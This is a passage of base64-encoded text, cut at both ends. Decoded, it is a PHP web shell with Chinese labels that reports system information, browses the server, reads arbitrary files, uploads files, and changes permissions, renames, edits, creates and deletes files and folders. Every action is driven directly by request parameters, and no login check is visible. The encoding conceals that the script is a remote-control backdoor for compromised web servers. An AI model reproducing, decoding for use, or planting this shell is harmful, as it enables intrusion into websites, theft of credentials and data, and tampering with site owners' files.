XBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Av